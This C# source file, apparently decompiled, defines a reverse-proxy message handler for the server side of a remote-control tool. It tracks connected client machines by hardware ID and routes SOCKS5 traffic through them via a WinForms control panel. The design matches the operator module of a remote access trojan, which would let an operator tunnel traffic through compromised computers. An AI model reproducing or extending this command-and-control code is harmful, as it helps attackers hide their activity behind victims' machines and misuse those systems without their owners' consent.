84 lines
1.8 KiB
C#
84 lines
1.8 KiB
C#
using System.Windows.Forms;
|
|
using Server.Connectings;
|
|
using Server.Forms;
|
|
using Server.Helper.Sock5;
|
|
|
|
namespace Server.Messages;
|
|
|
|
internal class HandlerReverseProxy
|
|
{
|
|
public static void Read(Clients client, object[] objects)
|
|
{
|
|
switch ((string)objects[1])
|
|
{
|
|
case "Connect":
|
|
{
|
|
FormReverseProxy form = (FormReverseProxy)Application.OpenForms["ReverseProxy:" + (string)objects[2]];
|
|
if (form == null)
|
|
{
|
|
client.Disconnect();
|
|
break;
|
|
}
|
|
form.Invoke((MethodInvoker)delegate
|
|
{
|
|
form.Text = "Reverse Proxy [" + (string)objects[2] + "]";
|
|
form.client = client;
|
|
form.server = new Server.Helper.Sock5.Server(client);
|
|
form.Activea();
|
|
form.GridIps.Enabled = true;
|
|
form.rjButton1.Enabled = true;
|
|
form.rjTextBox1.Enabled = true;
|
|
});
|
|
client.Tag = form;
|
|
client.Hwid = (string)objects[2];
|
|
break;
|
|
}
|
|
case "Accept":
|
|
{
|
|
FormReverseProxy formReverseProxy = (FormReverseProxy)Application.OpenForms["ReverseProxy:" + (string)objects[3]];
|
|
if (formReverseProxy == null)
|
|
{
|
|
client.Disconnect();
|
|
break;
|
|
}
|
|
Client client3 = formReverseProxy.server.Search((int)objects[2]);
|
|
client3?.Accept(client);
|
|
client.Tag = client3;
|
|
break;
|
|
}
|
|
case "ConnectResponse":
|
|
{
|
|
if (client.Tag == null)
|
|
{
|
|
client.Disconnect();
|
|
break;
|
|
}
|
|
Client client2 = (Client)client.Tag;
|
|
client2?.HandleCommandResponse(objects);
|
|
client.Tag = client2;
|
|
break;
|
|
}
|
|
case "Data":
|
|
if (client.Tag == null)
|
|
{
|
|
client.Disconnect();
|
|
}
|
|
else
|
|
{
|
|
((Client)client.Tag)?.Send((byte[])objects[2]);
|
|
}
|
|
break;
|
|
case "Disconnect":
|
|
if (client.Tag == null)
|
|
{
|
|
client.Disconnect();
|
|
}
|
|
else
|
|
{
|
|
((Client)client.Tag)?.Disconnect();
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
}
|